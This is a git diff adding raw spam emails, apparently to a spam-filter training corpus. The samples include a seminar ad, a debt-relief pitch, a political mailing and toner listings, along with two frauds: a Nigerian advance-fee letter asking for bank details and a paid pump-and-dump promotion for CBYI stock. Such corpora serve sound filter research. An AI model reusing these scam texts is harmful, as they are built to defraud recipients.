    + + + +------=_NextPart_000_436A1_01C22E78.6D2241B0-- + + diff --git a/bayes/spamham/spam_2/00756.b68f9bcfd782a01a2ece132eccdcbbe9 b/bayes/spamham/spam_2/00756.b68f9bcfd782a01a2ece132eccdcbbe9 new file mode 100644 index 0000000..347cde0 --- /dev/null +++ b/bayes/spamham/spam_2/00756.b68f9bcfd782a01a2ece132eccdcbbe9 @@ -0,0 +1,162 @@ +From owner-melbwireless@wireless.org.au Fri Jul 19 00:55:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 78F8A43F90 + for ; Thu, 18 Jul 2002 19:55:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 00:55:28 +0100 (IST) +Received: from wireless.org.au (www.wireless.org.au [202.161.127.82]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6INieJ31114 for + ; Fri, 19 Jul 2002 00:44:40 +0100 +Received: (from majordomo@localhost) by wireless.org.au (8.11.6/8.11.6) id + g6INeDl26314 for melbwireless-list; Fri, 19 Jul 2002 09:40:13 +1000 +Received: from apk01fe2.mail1.triara.com (x.triara.com [200.57.128.70] + (may be forged)) by wireless.org.au (8.11.6/8.11.6) with ESMTP id + g6INeBx26311 for ; Fri, 19 Jul 2002 09:40:11 + +1000 +Received: from gina ([200.67.156.243]) by apk01fe2.mail1.triara.com with + ESMTP id <20020718232025.OPGB1025.apk01fe2@gina>; Thu, 18 Jul 2002 + 18:20:25 -0500 +From: Quality Training de =?ISO-8859-1?Q?M=E9xico?= +Subject: [MLB-WIRELESS] CONTRALORIA Y GERENCIA ADMINISTRATIVA +To: "Lista de destinatarios oculta" +MIME-Version: 1.0 +Reply-To: villahermosa@rebackee.com +Date: Thu, 18 Jul 2002 18:16:04 -0500 +X-Priority: 3 +X-Library: Indy 8.0.22 +Message-Id: <20020718232025.OPGB1025.apk01fe2@gina> +Sender: owner-melbwireless@wireless.org.au +Precedence: bulk +Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; + +This is a multi-part message in MIME format + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +http://www.rebackee.com/cursos2/contraloria.htm + +--=_NextPart_2rfkindysadvnqw3nerasdf +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Content-Base: "http://www.rebackee.com/cursos2/" +Content-Location: "http://www.rebackee.com/cursos2/" + + + +Untitled Document + + + + +
    =20

    Quality=20 Training de México,=20 lo invita al extraordinario seminario que tendrá lugar en VILLAHERMOSA,=20 TABASCO, los días 01 y 02 de=20 AGOSTO de 2002

    +
    +

    +

    +
    =20

    Este es un seminario=20 sobre los más efectivos conceptos y maneras concretas para mejorar=20 la función de Contraloría y Gerencia Administrativa.....¿=20 Que medidas debe tomar.... para enfrentar la Falta de Liquidez, Reducción=20 de Ventas, Aumento en los Costos, conflictos Laborales....¿ Cómo=20 anticiparse a un colapso en la empresa ?.

    +

    ¡¡=20 NO ESPERE A QUE SEA DEMASIADO TARDE =21=21

    +

    Se discutirá=20 ampliamente sobre la situación actual de las empresas en épocas=20 de crisis, ¿que están haciendo para salir adelante?. Así=20 como estrategias contables actuales, pronósticos de presupuestos,=20 modelos ABC y otras alternativas de flujo de información; como controles=20 y cumplimientos, información administrativa, reportes de gasto, crédito=20 y cobranza, análisis financiero y personal. Aspectos claves dentro=20 del programa :

    +

    -=20 Como organizar su área y hacerla altamente competitiva

    +

    -=20 Renueve su manera de utilizar los informes financieros

    +

    -=20 Predictores de Quiebra....Acciones inmediatas a considerar
    +
    + - Casos Históricos

    +


    +
    + ¡¡LA=20 IMPORTANCIA DE CAPACITARSE CON LOS LÍDERES=21=21
    +
    + Experiencia, Calidad y Éxito...
    +
    + Quality Training de México, le ofrece los más aclamados consultores=20 y seminarios ejecutivos disponibles en el mercado...con los temas de mayor=20 impacto en las empresas...

    +

    SONY de México,=20 Hewlett Packard, Casa Cuervo, Cervecería Modelo, PEMEX, Mexicana,=20 Molex y más de 4,000 empresas en México y Latinoamérica,=20 conocen nuestros exclusivos programas de capacitación.

    +


    + ¡ Un experto estará con usted en este=20 seminario =21
    +

    +


    + TEMARIO:
    +
    + 1.- El Nuevo Papel del Gerente Administrativo en=20 las Empresas Modernas.
    + - Funciones, responsabilidades y resultados.
    + - Trampas en la Planeación.
    + - El Plan de Contingencia.

    +

    2.-=20 La Gerencia Administrativa y el Análisis de Procesos, Políticas=20 y Procedimientos para controlar las operaciones de su empresa.
    + - Conocimiento de la empresa: Base para el análisis de procesos.
    + - Establecimiento de planes de operación.

    +

    - Análisis de=20 funciones básicas: abastecimientos, producción, ventas, recursos=20 humanos.
    + - Bases para implementar políticas y procedimientos.

    +

    3.-=20 Control y Administración de Ingresos, el Crédito y la Cobranza.
    + - Organización del departamento de crédito y su manual de=20 políticas y procedimientos.
    + - Determinación de políticas de apertura y autorización=20 de crédito.
    + - Gestión de Cobranza.
    + - Concentración de fondos, cobranza electrónica y factoraje.

    +

    4.-=20 Control de Costos en la Empresa.
    + - Los costos en la administración empresarial.
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    + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00759.23e678ecd735ad618ad151d311c81070 b/bayes/spamham/spam_2/00759.23e678ecd735ad618ad151d311c81070 new file mode 100644 index 0000000..545bd1a --- /dev/null +++ b/bayes/spamham/spam_2/00759.23e678ecd735ad618ad151d311c81070 @@ -0,0 +1,92 @@ +From ronardtony@mail.com Fri Jul 19 04:24:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7DE0243F90 + for ; Thu, 18 Jul 2002 23:24:36 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 04:24:36 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6J3KmJ03840 for + ; Fri, 19 Jul 2002 04:20:48 +0100 +Received: from mandark.labs.netnoteinc.com ([64.86.155.161]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6J3KiR04153 for + ; Fri, 19 Jul 2002 04:20:46 +0100 +Message-Id: <200207190320.g6J3KiR04153@mandark.labs.netnoteinc.com> +From: "RONARD TONY." +Date: Fri, 19 Jul 2002 04:34:49 +To: yyyy@netnoteinc.com +Subject: URGENT REPLY. +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +MR.RONARD TONY +WEMA BANK PLC. +LAGOS/NIGERIA +Email: ronardtony@mail.com +Dear Sir, + +REQUEST FOR CO-OPERATION ON A PRIVATE BUSINESS +RELATIONSHIP + +Every four years, Nigeria Banks transfer to it s +treasury Millions of Dollars of unclaimed Deceased +Depositors Funds, in compliance with the Banking Laws +and Guidelines. In the majority of cases, with +reference to my Bank WEMA BANK PLC. The money +normally runs into several millions of dollars. Until +Dr.David Fang death along with his wife, Doris, their +two children, Micheal and Ann in a private jet plane +crash. I was his foreign currency denoted Bank Account +Manager with constant balance in excess of eight +digits. Ever since his death and up till this time of +writing, no next of kin or relation of his has come +forward to claim his money with us. + +Naturally, as long as late Dr.David Fang money remains +unclaimed, the bank remains richer in free funds with +his money. However, with my being in direct charge of +Bills and Exchange in the foreign Remittance +Department of my bank, I am in position to cause the +payment of this money to whosoever that present +himself as the next of kin or relation of the late +Dr.David Fang' on private business deal basis. + +Now the game plan and the purpose of writing to you +exclusively having been highly recommended as the +right and proper person to handle this deal by a +Management Consultant friend of mine, who has traveled +widely, including your country is that I want to pull +out this unclaimed money amounting to $14,900,000:00 +(Fourteen Million, Nine Hundred United States Dollars) +with your co-operation and assistance by just doing +the following: +- + +(a) Act as next of kin or relation of late Dr.David +Fang + +(b) Provide your bank account and location where you +want the money remitted . +(c) Provide your direct and private Telephone/Fax +numbers for effective communication +(d) Give immediate reply to this proposal using the +above Tel/Fax +number for details on how to proceed. + +For your co-operation and efforts, 40% of the money +will be for you as my foreign partner,10% for +settlement of all expenses that might be incurred on +the course of this transaction, while 50% will be for +myself that will eventually visit your country for +disbursement of the fund. + +Looking forward to a mutual and beneficial business +relationship. + +Regards, +RONARD TONY. + + diff --git a/bayes/spamham/spam_2/00760.254b8986f3d7b6cbda1cc7ce16860e6c b/bayes/spamham/spam_2/00760.254b8986f3d7b6cbda1cc7ce16860e6c new file mode 100644 index 0000000..3c6565b --- /dev/null +++ b/bayes/spamham/spam_2/00760.254b8986f3d7b6cbda1cc7ce16860e6c @@ -0,0 +1,170 @@ +From JohnRobertson@terra.es Fri Jul 19 13:51:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 13E3043FB3 + for ; Fri, 19 Jul 2002 08:51:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 13:51:10 +0100 (IST) +Received: from onetoonecontact.com ([203.149.6.22]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JCpLJ29247 for ; + Fri, 19 Jul 2002 13:51:21 +0100 +Received: from plain (localhost.localdomain [127.0.0.1]) by + onetoonecontact.com (8.11.0/8.11.0) with SMTP id g6JCQNL02133; + Fri, 19 Jul 2002 19:26:29 +0700 +Message-Id: <200207191226.g6JCQNL02133@onetoonecontact.com> +From: JohnRobertson@terra.es +To: webmaster@egraffiti.zzn.com +Subject: Get Debts Off Your Back - Time:5:38:50 AM +Date: Fri, 19 Jul 2002 05:38:50 +MIME-Version: 1.0 +Content-Type: text/plain; charset="DEFAULT" + +Are creditors hassling you about your debts? + +We are a non-profit organization that can help you +reduce your monthly payments. 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    + + + + + + + diff --git a/bayes/spamham/spam_2/00768.9900419b1120aac5256e7b1ba0de2b1f b/bayes/spamham/spam_2/00768.9900419b1120aac5256e7b1ba0de2b1f new file mode 100644 index 0000000..fba6ae3 --- /dev/null +++ b/bayes/spamham/spam_2/00768.9900419b1120aac5256e7b1ba0de2b1f @@ -0,0 +1,196 @@ +From 71554.54dlx@dtk.com.tw Fri Jul 19 16:02:30 2002 +Return-Path: <71554.54dlx@dtk.com.tw> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6FE5E440C8 + for ; Fri, 19 Jul 2002 11:02:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:02:26 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JExLJ06551 for + ; Fri, 19 Jul 2002 15:59:23 +0100 +Received: from vls3.vlcfw.com (200-171-185-46.dsl.telesp.net.br + [200.171.185.46]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with + ESMTP id g6JEwup01635; Fri, 19 Jul 2002 15:59:05 +0100 +Received: from dtk.com.tw (aux-209-217-51-222.mycatalog.com + [209.217.51.222] (may be forged)) by vls3.vlcfw.com (8.11.1/8.8.7) with + SMTP id g6JCA3902060; Fri, 19 Jul 2002 09:10:04 -0300 +Date: Fri, 19 Jul 2002 09:10:04 -0300 +Message-Id: <200207191210.g6JCA3902060@vls3.vlcfw.com> +From: "Della Moynihan" <71554.54dlx@dtk.com.tw> +To: "Inbox" <1807@globix.net> +Subject: Let get together when you get back +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + + + + + + + + + + + +
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    + + Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory newsletters + picking CBYI.   CBYI has filed to be traded on the = +;OTCBB, + share prices historically INCREASE when companies get listed + on this larger trading exhange. CBYI is trading around 25 ce= +nts + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY. + = + + +

    REASONS TO INVEST IN CBYI +

  • A profitable company and is on = +track to beat ALL + earnings estimates + =21 +
  • One of the FASTEST growing distrib= +utors in environmental & safety + equipment instruments. +
  • = + + Excellent management team= +, several EXCLUSIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    + RAPID= +LY GROWING INDUSTRY 
    Industry revenues exceed =24900 mil= +lion, estimates indicate that there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

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    + =21=21=21= +=21=21 CONGRATULATIONS + =21=21=21=21=21
    Our last recommendation to buy ORBT a= +t + =241.29 rallied and is holding steady at =244.51=21&n= +bsp; + Congratulations to all our subscribers that took advantage of thi= +s + recommendation.

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    + = + +






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    + ALL removes HONER= +ED. Please allow 7 + days to be removed and send ALL address to: +NeverAgain=40btamail.net.cn +

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    + Certain statements contained in this news release m= +ay be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. = + + The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, + IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  + Copyright c 2001

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    + + + + + + + diff --git a/bayes/spamham/spam_2/00771.e33fd0de6b6c763a697a4fba307091d0 b/bayes/spamham/spam_2/00771.e33fd0de6b6c763a697a4fba307091d0 new file mode 100644 index 0000000..8cec5e2 --- /dev/null +++ b/bayes/spamham/spam_2/00771.e33fd0de6b6c763a697a4fba307091d0 @@ -0,0 +1,151 @@ +From spamassassin-sightings-admin@lists.sourceforge.net Fri Jul 19 18:21:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 56546440C9 + for ; Fri, 19 Jul 2002 13:21:31 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 18:21:31 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6JHK4J18232 for ; Fri, 19 Jul 2002 18:20:04 + +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VbQB-0004pl-00; Fri, + 19 Jul 2002 10:20:03 -0700 +Received: from consort.superb.net ([209.61.216.22] helo=f7.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17VbPG-0001Vp-00 for ; + Fri, 19 Jul 2002 10:19:06 -0700 +Received: (from spamassassin@localhost) by f7.net (8.11.6/8.11.6) id + g6JHJ0b05323 for spamassassin-sightings@lists.sourceforge.net; + Fri, 19 Jul 2002 13:19:00 -0400 +Received: from edamame.c9m.tv (w077.z064003084.lax-ca.dsl.cnc.net + [64.3.84.77]) by f7.net (8.11.6/8.11.6) with ESMTP id g6JHIuA05312 for + ; Fri, 19 Jul 2002 13:18:56 -0400 +Received: (from cham@localhost) by edamame.c9m.tv (8.11.6/8.8.7) id + g6JDg7M23763 for matthew.simonton@blade.net; Fri, 19 Jul 2002 09:42:07 + -0400 +Message-Id: <200207191342.g6JDg7M23763@edamame.c9m.tv> +To: matthew.simonton@blade.net +From: "S. B. Woo" +Subject: [SA] EM1- Aren't we accorded equal opportunity already? +Sender: spamassassin-sightings-admin@example.sourceforge.net +Errors-To: spamassassin-sightings-admin@example.sourceforge.net +X-Beenthere: spamassassin-sightings@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 09:42:07 -0400 +Date: Fri, 19 Jul 2002 09:42:07 -0400 + AWL version=2.40 + + + Aren't Asian Pacfic Americans (APAs) accorded equal +opportunity already? Unfortunately, no. APAs are not accorded +equal opportunity in workplaces presently. + + Equal opportunity means: "For every man, woman and +child to go as far and rise as high as their ambition and ability +will take them." Statistics, mostly gathered by government +studies, show that AAs have only 1/3 the opportunity of all +other Americans to rise to the top in the academic world, +corporate world, the federal government. There seems to exist +an invisible resistance to AAs' developing to the maximal of +their potentials -- A Glass Ceiling. + + Let's look at a concrete case. A lot of our best people are +employed in universities. Their average performance has been +outstanding. What's their chance of rising to the top? + + University administrators are recruited almost exclusively +from the ranks of faculty and professionals already employed in +universities. Hence the ratio of [administrators / (faculty + +professionals)], broken down to races, is a measure of the +opportunity enjoyed by American citizens of different races. +Nationwide, that ratio for blacks (non-Hispanic) is 0.21. That is, +for every 100 black faculty and professionals there are 21 black +administrators. The ratio for Native American is 0.20; for white +(non-Hispanic) is 0.16; and for Hispanic is 0.15. However, it is +only 0.06 for Asian American. Get on the Web and check it out +for yourself! Source: Dept. of Education - , Table B-1f. + + The above dismal picture emerges from the supposedly +"enlightened" academic world. The situation in the corporate +world, state and federal governments is worse. + + In E-Mail 2 & 3, we present a strategy to induce the two +major political parties to help us fight for equal opportunity and +help make our beloved nation "a more perfect Union." There has +already been progress on account of that strategy. Behold how the +glass ceiling in the federal government is being shattered, owing +significantly to the bloc-vote organized and delivered by 80-20 in +the 2000 election. + + +Sincerely (members of Steering Comm., titles for ID purposes only) + +Rajen Anand, Secretary, Federation of Indian-Am. Assocs., +Tong S. Chung, Founding President & Current Chairman of the Board, + Korean American Coalition, DC chapter, +Alex Esclamado, Nat'l President, Filipino-Am. Political Assoc., +Kenneth Fong, C.E.O., Clontech Laboratories, +Yu-Chi Ho, Harvard Univ., member of Nat'l Acad. of Engineering, +Stephen S. Ko, MD, Founder of Asian Am. Political Coalition N.J., +Tony Lam, Councilman, Westminster, Los Angeles, California, +Michael Lin, former Nat'l President, Org. of Ch-Ams (1994-98), +Adeel Shah, Co-founder & Chairman/CEO of Telnia Corporation and + President, US-Pakistan Business Council Washington, D.C., +Peter Suzuki, Immediate Past President, National Asian/Pacific Am. + Bar Association (NAPABA), +Henry Tang, Chair, Committee of 100, +Shaie-Mei Temple, Founding President, OCA-women New Orleans + Chapter; Strategic Consultant, +Chang-Lin Tien, Chancellor, Univ. of Calif., Berkeley (1990-97), +Chun Wa Wong, Univ. of Calif., Los Angeles, Fellow, Am. phys. Soc., +S. B. Woo, Lieutenant Governor of Delaware (1985-89) +Jenny Yang, President, Assoc. of Chinese Am. Professionals; Co-founder, + Houston 80-20 + +* * * * * * * * * * * +80-20 is a national, nonpartisan, Political Action Committee +dedicated to winning equal opportunity and justice for all +Asian Pacific Americans through a SWING bloc vote, ideally +directing 80% of our community's votes and money to the +presidential candidate endorsed by the 80-20, who better +represents the interests of all APAs. Hence, the name "80-20" was +created. + + + -- For unsubscribing, return this email AND add the word:REMOVE. -- + + + -- To get on 80-20's supporters list, reply with the word:ENLIST. -- + + + +MsTo: matthew.simonton@blade.net + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00772.deb64399accba9b54b5f10ae57c7bbb5 b/bayes/spamham/spam_2/00772.deb64399accba9b54b5f10ae57c7bbb5 new file mode 100644 index 0000000..1b0dcd4 --- /dev/null +++ b/bayes/spamham/spam_2/00772.deb64399accba9b54b5f10ae57c7bbb5 @@ -0,0 +1,296 @@ +From gtts@cable.net.co Fri Jul 19 19:15:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8B97E440C8 + for ; Fri, 19 Jul 2002 14:15:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 19:15:00 +0100 (IST) +Received: from cable.net.co (24-196-229-55.charterga.net [24.196.229.55]) + by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6JIDZJ22453 for + ; Fri, 19 Jul 2002 19:13:37 +0100 +From: +To: yyyy@spamassassin.taint.org +Subject: Great prices on laser toner cartridges for printers, copiers, and faxes .... Guaranteed +Date: Fri, 19 Jul 2002 14:06:47 +Message-Id: <338.371619.730070@cable.net.co> +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" + + + + + + + + +

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    +

    Item                +Hewlett + Packard                   +Price +

    +

    1 -- 92274A Toner Cartridge for LaserJet 4L, 4ML, 4P, 4MP +------------------------$47.50
    +     + + +2 -- C4092A Black Toner Cartridge for LaserJet 1100A, ASE, 3200SE-----------------$45.50
    +     +     + +2A - C7115A Toner Cartridge For HP LaserJet 1000, 1200, 3330 ---------------------$55.50
    + +2B - C7115X High Capacity Toner Cartridge for HP LaserJet 1000, 1200, 3330 -------$65.50
    +     +3 -- 92295A Toner Cartridge for LaserJet II, IID, III, IIID ----------------------$49.50
    + +4 -- 92275A Toner Cartridge for LaserJet IIP, IIP+, IIIP -------------------------$55.50
    +     +5 -- C3903A Toner Cartridge for LaserJet 5P, 5MP, 6P, 6Pse, 6MP, 6Pxi ------------$46.50
    + +6 -- C3909A Toner Cartridge for LaserJet 5Si, 5SiMX, 5Si Copier, 8000 ------------$92.50
    +     +7 -- C4096A Toner Cartridge for LaserJet 2100, 2200DSE, 2200DTN ------------------$72.50
    + +8 - C4182X UltraPrecise High Capacity Toner Cartridge for LaserJet 8100 Series---$125.50
    +     +9 -- C3906A Toner Cartridge for LaserJet 5L, 5L Xtra, 6Lse, 6L, 6Lxi, 3100se------$42.50
    + +9A - C3906A Toner Cartridge for LaserJet 3100, 3150 ------------------------------$42.50
    +     +10 - C3900A Black Toner Cartridge for HP LaserJet 4MV, 4V ------------------------$89.50
    + +11 - C4127A Black Toner Cartridge for LaserJet 4000SE, 4000N, 4000T, 4000TN ------$76.50
    +     +11A- C8061A Black Laser Toner for HP LaserJet 4100, 4100N ------------------------$76.50
    + +11B- C8061X High Capacity Toner Cartridge for LJ4100, 4100N ----------------------$85.50
    +     +11C- C4127X High Capacity Black Cartridge for LaserJet 4000SE,4000N,4000T,4000TN +-$84.50
    + +12 - 92291A Toner Cartridge for LaserJet IIISi, 4Si, 4SiMX -----------------------$65.50
    +     +13 - 92298A Toner Cartridge for LaserJet 4, 4 Plus, 4M, 4M Plus, 5, 5se, 5M, 5N +--$46.50
    + +14 - C4129X High Capacity Black Toner Cartridge for LaserJet 5000N ---------------$97.50
    +     +15 - LASERFAX 500, 700 (FX1) -----------------------------------------------------$49.00
    + +16 - LASERFAX 5000, 7000 (FX2) ---------------------------------------------------$54.00
    +     +17 - LASERFAX (FX3) --------------------------------------------------------------$49.00
    + +18 - LASERFAX (FX4) --------------------------------------------------------------$49.00     +

    +

    Item            +Hewlett Packard - Color                +   +Price +

    +

    C1 -- C4194a Toner +Cartridge, +Yellow (color lj 4500/4550 series)------------------ $ 89.50
    +    C2 -- C4193a Toner +Cartridge, Magenta (color lj 4500/4550 series)----------------- +$ 89.50
    +C3 -- C4192a toner cartridge, cyan (color lj 4500/4550 series)-------------------- $ +89.50
    +    C4 -- c4191a toner cartridge, black (color lj 4500/4550 series)------------------- +$ 74.50     +

    +

    Item                    +Lexmark                         +Price +

    +

    19 - 1380520 High Yield Black Laser Toner for 4019, 4019E, 4028, 4029, 6, 10, 10L -- $109.50
    +    20 - 1382150 High Yield Toner for 3112, 3116, 4039-10+, 4049- Model 12L,16R, +Optra - $109.50
    +21 - 69G8256 Laser Cartridge for Optra E, +E+, EP, ES, 4026, 4026 (6A,6B,6D,6E)  ---- $ 49.00
    +    22 - 13T0101 High Yield Toner Cartridge for Lexmark Optra E310, E312, E312L -------- $ 89.00
    +23 - 1382625 High-Yield Laser Toner Cartridge for Lexmark Optra S (4059) ----------- $129.50
    +    24 - 12A5745 High Yield Laser Toner for Lexmark Optra T610, 612, 614 (4069) -------- $165.00     +

    +

    Item                +Epson                     +Price +

    +

    25 +---- S051009 Toner Cartridge for Epson EPL7000, 7500, 8000+ - $115.50
    +    25A --- S051009 LP-3000 PS 7000 -------------------------------- $115.50
    +26 ---- AS051011 Imaging Cartridge for +ActionLaser-1000, 1500 -- $ 99.50
    +    26A --- AS051011 EPL-5000, EPL-5100, EPL-5200 ------------------ $ 99.50
     +

    +

    Item            +Panasonic                +Price

    +

    27 +------Nec series 2 models 90 and 95 ---------------------- $109.50

    +

    Item                +     +Apple                                +Price

    +

    28 ---- 2473G/A Laser Toner for LaserWriter Pro 600, 630, LaserWriter 16/600 PS - +$ 57.50
    +    29 ---- 1960G/A Laser Toner for Apple LaserWriter Select, 300, 310, 360 --------- $ +71.50
    +30 ---- M0089LL/A Toner Cartridge for Laserwriter 300, 320 (74A) ---------------- $ +52.50
    +    31 ---- M6002 Toner Cartridge for Laserwriter IINT, IINTX, IISC, IIF, IIG (95A) - $ +47.50
    +31A --- M0089LL/A Toner Cartridge for Laserwriter +LS, NT, NTR, SC (75A) --------- $ +55.50
    +    32 ---- M4683G/A Laser Toner for LaserWriter 12, 640PS -------------------------- +$ 85.50
     +

    +

    Item                +Canon                           +Price

    +

    33 --- Fax +CFX-L3500, CFX-4000 CFX-L4500, CFX-L4500IE & IF FX3 ----------- $ 49.50
    +    33A -- L-250, L-260i, L-300 FX3 ------------------------------------------ +$ 49.50
    +33B -- LASER CLASS 2060, 2060P, 4000 FX3 --------------------------------- +$ 49.50
    +    34 --- LASER CLASS 5000, 5500, 7000, 7100, 7500, 6000 FX2 ---------------- +$ 49.50
    +35 --- FAX 5000 FX2 ------------------------------------------------------ +$ 49.50
    +    36 --- LASER CLASS 8500, 9000, 9000L, 9000MS, 9500, 9500 MS, 9500 S FX4 -- +$ 49.50
    +36A -- Fax L700,720,760,770,775,777,780,785,790, & L3300 FX1 +------------- $ 49.50
    +    36B -- L-800, L-900 FX4 -------------------------------------------------- +$ 49.50
    +37 --- A30R Toner Cartridge for PC-6, 6RE, 7, 11, 12 --------------------- +$ 59.50
    +    38 --- E-40 Toner Cartridge for PC-720, 740, 770, 790,795, 920, 950, 980 - +$ 85.50
    +38A -- E-20 Toner Cartridge for PC-310, 325, 330, 330L, 400, 420, 430 ---- +$ 85.50
     +

    +

    Item   +Xerox    Price

    +

    39 ---- 6R900 75A ---- $ 55.50
    +    40 ---- 6R903 98A ---- $ 46.50
    +41 ---- 6R902 95A ---- $ 49.50
    +    42 ---- 6R901 91A ---- $ 65.50
    +43 ---- 6R908 06A ---- $ 42.50
    +    44 ---- 6R899 74A ---- $ 47.50
    +45 ---- 6R928 96A ---- $ 72.50
    +    46 ---- 6R926 27X ---- $ 84.50
    +47 ---- 6R906 09A ---- $ 92.50
    +    48 ---- 6R907 4MV ---- $ 89.50
    +49 ---- 6R905 03A ---- $ 46.50

    +

